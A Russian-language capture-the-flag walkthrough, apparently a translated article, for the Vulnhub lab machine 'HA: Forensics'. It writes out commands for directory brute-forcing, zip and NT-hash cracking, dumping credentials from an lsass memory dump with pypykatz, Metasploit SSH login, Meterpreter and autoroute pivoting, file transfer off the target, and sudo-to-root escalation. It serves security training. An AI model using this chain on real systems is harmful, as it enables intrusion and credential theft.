HA: Forensics | Пошаговое руководство Vulnhub

Дата: 03.11.2020. Автор: Игорь Б. Категории: Статьи по информационной безопасности
HA: Forensics | Пошаговое руководство Vulnhub

В этой статье пойдет речь о том, как получить доступ к уязвимой машине под названием HA: Forensics. Это тип атаки, который называется «Захват флага». Будут получены 4 флага, которые доступны по мере решения лабораторных задач на основе подсказок.

Скачать лабораторию можно, перейдя по ссылке.

Сканирование сети

Чтобы атаковать любую машину, нужно определить ее IP-адрес. Это можно сделать с помощью команды «net discover». Чтобы найти IP-адрес, необходимо будет связаться с MAC-адресом, который можно получить из параметра конфигурации виртуальной машины. IP-адрес машины был определен успешно. Это 192.168.0.174.

netdiscover
HA: Forensics | Пошаговое руководство Vulnhub

После сканирования с помощью команды «net discover» следует использовать сканирование Nmap, чтобы получить информацию о службах, запущенных на виртуальной машине. Агрессивное сканирование Nmap показало, что запущены 2 службы: SSH (22) и HTTP (80).

nmap -A 192.168.0.174
HA: Forensics | Пошаговое руководство Vulnhub

Перечисление

Поскольку есть служба HTTP, работающая на виртуальной машине, стоит взглянуть на размещенную там веб-страницу:

http://192.168.0.174
HA: Forensics | Пошаговое руководство Vulnhub

На веб-странице есть кнопка с надписью: «Нажмите здесь, чтобы получить флаг!». Пользователь нажимает на эту кнопку.

Флаг 1

Пользователь понимает, что веб-страница – это простая страница с некоторыми изображениями Forensics. Ничего особенного. Следующей среди задач по перечислению была «Directory Bruteforce». Человек использовал надежный инструмент dirb для проведения этой атаки.

dirb http://192.168.0.174/
HA: Forensics | Пошаговое руководство Vulnhub

Это дало ему возможность получить доступ к каталогу изображений. Он заглянул в него через веб-браузер и нашел там два изображения под названием «DNA» и «fingerprint». Человек проверил «DNA»: это оказалась «кроличья нора». Тогда он решил скачать файл fingerprint.jpg для дальнейшего анализа.

HA: Forensics | Пошаговое руководство Vulnhub

Эта машина основана на Forensics. У пользователя теперь есть нужное изображение на компьютере. Здесь подойдет инструмент Exiftool для использования. При простом взгляде на метаданные изображения с помощью Exiftool человек понимает, что у него теперь есть первый флаг.

exiftool fingerprint.jpg
HA: Forensics | Пошаговое руководство Vulnhub

Флаг 2

Теперь перечисление не всегда заканчивается лишь одной версией «Directory Bruteforce». Если человек сомневается в результате, он всегда использует фильтр «Extension» в dirb. Следует обратить свое внимание на фильтр для файлов формата txt. Есть какой-то файл «tips.txt».

dirb http://192.168.0.174 -X .txt
HA: Forensics | Пошаговое руководство Vulnhub

Рассматривая файл «tips.txt», пользователь понимает, что это своего рода robots.txt файл (только он назван «tips»). Поскольку идет охота на флаги, человек ориентируется на файл «flag.zip».

HA: Forensics | Пошаговое руководство Vulnhub

У пользователя получилось сохранить файл. Ура!

HA: Forensics | Пошаговое руководство Vulnhub

Теперь, когда у него есть этот zip-файл в локальной системе, пришло время извлечь его содержимое. Пользователь будет использовать команду «unzip», чтобы извлечь файлы. Однако для этого требуется пароль.

HA: Forensics | Пошаговое руководство Vulnhub

Пользователь открывает веб-браузер и файл «tips». Здесь есть папка с названием «igolder». Оно напоминает название веб-сайта, который шифрует и расшифровывает сообщения с открытыми и приватными ключами. При просмотре папки можно увидеть, что есть еще один текстовый файл под названием «clue.txt». При чтении файла пользователь понимает, что это комбинация приватного ключа и сообщения.

http://192.168.0.174/igolder/clue.txt
HA: Forensics | Пошаговое руководство Vulnhub

Чтобы расшифровать сообщение, пользователь перешел на сайт «igolder» и вставил приватный ключ PGP и зашифрованное сообщение из файла «clue.txt». После нажатия кнопки «Расшифровать сообщение» он смог прочесть секретное сообщение. Там говорится, что пароль состоит из 6 символов, причем первые 3 являются буквами «for», а последние 3 – цифрами.

HA: Forensics | Пошаговое руководство Vulnhub

Всякий раз, когда человек оказывается в ситуации, когда у него есть какой-то частичный намек на пароль, он использует сrunch для создания словаря, подходящего к этому шаблону. Пользователь применил crunch и создал словарь для взлома пароля с именем «dict.txt». Используя fcrackzip, он взломал пароль. Это «007».

Человек распаковывает архив. Там есть pdf-файл с именем «flag». Также там есть файл DMP, но об этом позже.

crunch 6 6 -t for%%% -o dict.txt
fcrackzip -u -D -p dict.txt flag.zip
unzip flag.zip
HA: Forensics | Пошаговое руководство Vulnhub

Пора открыть этот файл в формате PDF и посмотреть на второй флаг.

HA: Forensics | Пошаговое руководство Vulnhub

Флаг 3

Теперь у пользователя уже есть 2 флага, еще 2 нужно найти. Был найден файл DMP. В Forensics файл дампа можно проверить с помощью pypykatz. Итак, пользователь будет использовать эту программу, чтобы найти некоторые подсказки.  

pypykatz -lsa -k /root/Downloads minidump lsass.DMP
HA: Forensics | Пошаговое руководство Vulnhub

Изучив тщательно файл DMP, пользователь находит хэш-файл NT для пользователя по имени Jasoos. На хинди это означает «детектив». Это может быть ключом к разгадке.

HA: Forensics | Пошаговое руководство Vulnhub

Пользователь копирует и вставляет это в файл с именем «hash». Теперь у него есть хэш-файл. Чтобы взломать его, нужен «John the Ripper». Был получен пароль. Это «[email protected]». Не очень безопасно, конечно.

john --format=NT hash
HA: Forensics | Пошаговое руководство Vulnhub

Теперь пользователь может напрямую подключиться через SSH, но вход в систему с помощью Metasploit будет лучшим вариантом, так как у человека есть тонна инструментов пост-эксплуатации, которые можно использовать впоследствии. Следовательно, используя модуль «ssh_login», пользователь получает сеанс SSH на машине как пользователь Jasoos. Используя скрипт «shell_to_meterpreter», пользователь получил сеанс Meterpreter на целевой машине.

use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.0.174
set username jasoos
set password [email protected]
exploit
session -u 1
HA: Forensics | Пошаговое руководство Vulnhub

Используя команду «ifconfig», пользователь понимает, что в приложении работает интерфейс docker с IP-адресом 172.17.0.1.

Это внутренний IP-адрес, что означает, что пользователь не может получить к нему доступ извне обычным способом.

sessions 2
ifconfig
HA: Forensics | Пошаговое руководство Vulnhub

Не надо паниковать. Здесь пригодится Metasploit. Он обладает эксплойтом autoroute, который может маршрутизировать сеть таким образом, чтобы внутренний IP-адрес был доступен извне. Autoroute создаст новый хост для подключения, трафик которого будет перенаправлен во внутреннюю службу. Но Autoroute не сообщает IP-адрес нового хоста. Итак, нужно выполнить «ping sweep», чтобы найти тот конкретный IP-адрес, который может быть использован для дальнейшей эксплуатации цели. Ping sweep нашел этот IP-адрес. Это 172.17.0.2. Теперь, когда пользователь знает целевой IP-адрес, стоит понять, в каком именно сервисе работает экземпляр docker в данный момент. Сканирование портов показывает, что это FTP-сервис. Но этот сервис пока еще не доступен пользователю. В FTP-сервисе есть функция, при которой анонимный пользователь может войти в систему и получить доступ к файлам через FTP. Чтобы убедиться, что этот FTP настроен таким образом, пользователь использует анонимный сканер ftp в Metasploit.

use post/multi/manage/autoroute
set session 2
exploit
use post/multi/gather/ping_sweep
set session 2
set rhosts 172.17.0.0/24
exploit
use auxiliary/scanner/portscan/tcp
set rhosts 172.17.0.2
set port 1-100
exploit
use auxiliary/scanner/ftp/anonymous
HA: Forensics | Пошаговое руководство Vulnhub

Сканирование выявило, что FTP настроен нужным образом. Итак, стоит провести перечисление FTP-сервиса, подключившись к нему как анонимный пользователь. Был получен каталог пол названием «pub». Внутри этого каталога есть файл с расширением 001. Похоже, это файл с изображением, который обычно используется в расследовании Forensic. Он называется «sabot» или «saboot». На хинди это означает «доказательство».

shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
ftp 172.17.0.2
anonymous
ls
cd pub
ls
get saboot.001
blank

Теперь с помощью сервиса Python One liner HTTP пользователь отправляет файл с целевой машины на его локальную.

exit
ls
python -m SimpleHTTPServer
blank

Поскольку Python One liner работает стабильно на порту 8000, пользователь просматривает этот порт и получает файл «saboot».

http://192.168.0.174:8000
blank

Он решает использовать инструмент «Autopsy Forensic Investigation», чтобы изучить полученное изображение. Его можно запустить с помощью следующей команды. Autopsy доступен на локальном хосте (порт 9999). Нужно открыть его.

blank

Здесь есть веб-интерфейс для Autopsy. Пользователь нажимает на кнопку «New Case».

blank

Пользователь дает название делу, пишет его описание и вводит имя следователя. И снова нажимает на кнопку «New Case».

blank

Теперь будет создано дело. После создания дела ему требуется хост для этого конкретного обращения. Оно запрашивает имя хоста. После ввода имени хоста пользователь нажимает на кнопку «Add Host», чтобы продолжить.

blank

После создания хоста пользователя просят добавить файл с изображением. Это шаг, на котором пользователь добавляет файл изображения, полученный с целевой машины.

blank

Будет запрошено местоположение файла. Поскольку пользователь загрузил его из своего веб-браузера, он должен быть в папке «Загрузки». Пользователь предоставляет путь к файлу, как показано на рисунке ниже. Кроме того, он выбирает «Partition» в параметре «Type». После завершения пользователь нажмет на кнопку «Next», чтобы продолжить.

blank

Пользователь оставит все по умолчанию и нажмет на кнопку «Add».

blank

Файл был загружен. Пришло время для его анализа. Как выполнить анализ показано на рисунке ниже.

blank

Пользователь видит, что у него есть куча файлов. Среди этих файлов есть 2 текстовых. Файл-флага и файл «creds». Настала пора просмотреть третий флаг.

blank

Флаг 4

Теперь у пользователя есть файл creds.txt. Пользователь просмотрит его и обнаружит, что внутри есть какой-то зашифрованный текст.

blank

Похоже, что это кодировка Base64. Пользователь использует команду «echo» с декодером base 64, как показано на рисунке ниже. Это может быть пароль для другого пользователя.

blank

Пользователь перечислил домашний каталог и обнаружил, что есть еще один пользователь по имени Forensics. Пароль должен подходить для этого пользователя. Человек использует команду «su» для входа в систему в качестве Forensics и пароль, который был найден. Теперь человек использует команду «sudo-l», чтобы понять, какие двоичные файлы он может использовать для повышения привилегий. Все нужное найдено. Итак, теперь пользователь использует команду «sudo bash» и получает Root. Затем он найдет последний флаг в каталоге Root. Четвертый флаг обнаружен. Это успех!

cd /home
ls
su forensics
jeenaliisagoodgirl
sudo -l
sudo bash
cd /root
cat root.txt
blank

Автор переведенной статьи: Pavandeep Singh.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *